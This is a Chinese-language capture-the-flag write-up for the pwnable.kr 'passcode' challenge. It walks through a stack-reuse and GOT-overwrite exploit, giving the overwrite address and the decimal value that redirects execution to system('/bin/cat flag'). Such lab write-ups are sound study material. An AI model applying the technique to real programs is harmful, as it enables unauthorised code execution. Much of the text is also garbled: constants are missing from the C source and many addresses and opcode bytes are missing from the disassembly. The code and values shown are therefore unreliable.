前段时间找到一个练习pwn的网站,pwnable.kr
这里记录其中的passcode的做题过程，给自己加深印象。
废话不多说了，看一下题目，
看到题目，就ssh连接进去，就看到三个文件如下
看了一下我们的用户名，并不能直接查看flag这个文件。查看passcode.c的源码看一下
#include <stdio.h>
#include <stdlib.h> void login(){
int passcode1;
int passcode2; printf("enter passcode1 : ");
scanf("%d", passcode1); //这里没有加取地址符号
fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2); //这里没有加取地址符号 printf("checking...\n");
if(passcode1== && passcode2==){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit();
}
} void welcome(){
char name[];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
} int main(){
printf("Toddler's Secure Login System 1.0 beta.\n"); welcome();
login(); //这里连续调用了两个函数 // something after login...
printf("Now I can safely trust you that you have credential :)\n");
return ;
}
可以看到整个程序的流程很简单，就是要我们输入两个数，让这两个数等于特定的数，就输出flag的内容，但是根据她的提示，程序有问题，可以直接使用gcc来尝试编译一下，就发现在登录函数里，对于两个passcode的值没有加上取地址符号，这将会导致scanf把passcode1和passcode2中的值作为存储输入的地址，如果地址不可写，就会造成一个内存错误。这样我们直接输入特定的值肯定不行了。。。。这里我们看一下这个程序的防护
程序有栈溢出保护和NX(数据执行保护)看了大牛的wp之后，知道关键点在welcome这里，因为welcome这里开了一个有点大的数组，有没有可能改变login中passcode1或passcode2的值，因为welcome和login这两个函数是连续调用的，导致他们拥有相同的栈底。我们看一下passcode的反汇编代码。。objdump -d passcode
<login>: //这里是login函数
: push %ebp
: e5 mov %esp,%ebp
: ec sub $0x28,%esp //分配栈空间
804856a: b8 mov $0x8048770,%eax
804856f: mov %eax,(%esp)
: e8 a9 fe ff ff call <printf@plt>
: b8 mov $0x8048783,%eax
804857c: 8b f0 mov -0x10(%ebp),%edx //看到这里是passcode1的内容作为参数传递给scanf
804857f: mov %edx,0x4(%esp)
: mov %eax,(%esp)
: e8 ff ff ff call 80484a0 <__isoc99_scanf@plt>
804858b: a1 2c a0 mov 0x804a02c,%eax
: mov %eax,(%esp)
: e8 fe ff ff call <fflush@plt>
: b8 mov $0x8048786,%eax
804859d: mov %eax,(%esp)
80485a0: e8 7b fe ff ff call <printf@plt>
80485a5: b8 mov $0x8048783,%eax
80485aa: 8b f4 mov -0xc(%ebp),%edx //这里是passcode2的内容作为参数传递给scanf
80485ad: mov %edx,0x4(%esp)
80485b1: mov %eax,(%esp)
80485b4: e8 e7 fe ff ff call 80484a0 <__isoc99_scanf@plt>
80485b9: c7 movl $0x8048799,(%esp)
80485c0: e8 8b fe ff ff call <puts@plt>
80485c5: 7d f0 e6 cmpl $0x528e6,-0x10(%ebp) //第一个比较
80485cc: jne 80485f1 <login+0x8d>
80485ce: 7d f4 c9 cc cmpl $0xcc07c9,-0xc(%ebp) //第二个比较
80485d5: 1a jne 80485f1 <login+0x8d>
80485d7: c7 a5 movl $0x80487a5,(%esp)
80485de: e8 6d fe ff ff call <puts@plt>
80485e3: c7 af movl $0x80487af,(%esp)
80485ea: e8 fe ff ff call <system@plt> //执行系统命令，关键点
80485ef: c9 leave
80485f0: c3 ret
80485f1: c7 bd movl $0x80487bd,(%esp)
80485f8: e8 fe ff ff call <puts@plt>
80485fd: c7 movl $0x0,(%esp)
: e8 fe ff ff call <exit@plt> <welcome>:
: push %ebp
804860a: e5 mov %esp,%ebp
804860c: ec sub $0x88,%esp
: a1 mov %gs:0x14,%eax
: f4 mov %eax,-0xc(%ebp)
804861b: c0 xor %eax,%eax
804861d: b8 cb mov $0x80487cb,%eax
: mov %eax,(%esp)
: e8 f6 fd ff ff call <printf@plt>
804862a: b8 dd mov $0x80487dd,%eax
804862f: 8d lea -0x70(%ebp),%edx //name的地址
: mov %edx,0x4(%esp)
: mov %eax,(%esp)
: e8 fe ff ff call 80484a0 <__isoc99_scanf@plt>
804863e: b8 e3 mov $0x80487e3,%eax
: 8d lea -0x70(%ebp),%edx
: mov %edx,0x4(%esp)
804864a: mov %eax,(%esp)
804864d: e8 ce fd ff ff call <printf@plt>
: 8b f4 mov -0xc(%ebp),%eax
: xor %gs:0x14,%eax
804865c: je <welcome+0x5a>
804865e: e8 dd fd ff ff call <__stack_chk_fail@plt>
: c9 leave
: c3 ret <main>:
: push %ebp
: e5 mov %esp,%ebp
: e4 f0 and $0xfffffff0,%esp
804866b: ec sub $0x10,%esp
804866e: c7 f0 movl $0x80487f0,(%esp)
: e8 d6 fd ff ff call <puts@plt>
804867a: e8 8a ff ff ff call <welcome>
804867f: e8 e0 fe ff ff call <login> //连续调用，导致栈底是相同的
: c7 movl $0x8048818,(%esp)
804868b: e8 c0 fd ff ff call <puts@plt>
: b8 mov $0x0,%eax
: c9 leave
: c3 ret
: nop
: nop
: nop
804869a: nop
804869b: nop
804869c: nop
804869d: nop
804869e: nop
804869f: nop
从上面我们看到，因为welcome和login的栈底相同，看到name的地址在ebp-0x70, 而passcode1的地址在ebp-0x10, 0x70 == 112, 0x10 == 16
所以0x70-0x10 == 0x60 == 96,所以我们可以看到name的最后四个字节就是passcode1的值，所以我们可以利用welcome来改变passcode1的值，
因为程序开启了栈溢出保护，所以我们不能再继续增加name的输入来改变passcode2的值(如果能改，直接改为两个特定数就可以了，但这里不行)。
从大牛的WP知道，这里我们要使用的是一种GOT表复写的技术，GOT表就是一个函数指针数组(具体搜索)，我们看到程序在我们输入之后会调用pritnf函数，
所以我们可以将passcode1的值改为printf的地址，然后接下来会通过scanf将上面的关键系统命令的地址写进去，改变整个程序的执行过程，当程序调用
printf函数的时候，由于它的地址已经被改变了，所以会跳到关键系统命令的地方去。
80485e3: c7 af movl $0x80487af,(%esp)
80485ea: e8 fe ff ff call <system@plt>
所以我们要知道printf的got地址，然后将它的地址改为 0x080485ea这个关键的地方。使用objdump -R passcode来看一下GOT表
passcode@ubuntu:~$ objdump -R passcode passcode: file format elf32-i386 DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a02c R_386_COPY stdin@@GLIBC_2.
0804a000 R_386_JUMP_SLOT printf@GLIBC_2.0 //printf的地址
0804a004 R_386_JUMP_SLOT fflush@GLIBC_2.
0804a008 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.
0804a00c R_386_JUMP_SLOT puts@GLIBC_2.
0804a010 R_386_JUMP_SLOT system@GLIBC_2.
0804a014 R_386_JUMP_SLOT __gmon_start__
0804a018 R_386_JUMP_SLOT exit@GLIBC_2.
0804a01c R_386_JUMP_SLOT __libc_start_main@GLIBC_2.
0804a020 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.
我这里使用pwntools这个包来写利用脚本。因为scanf是要求%d输入，所以0x080485ea == 134514154
最后就看到flag了。。。。。。。。
--好好学习，天天向上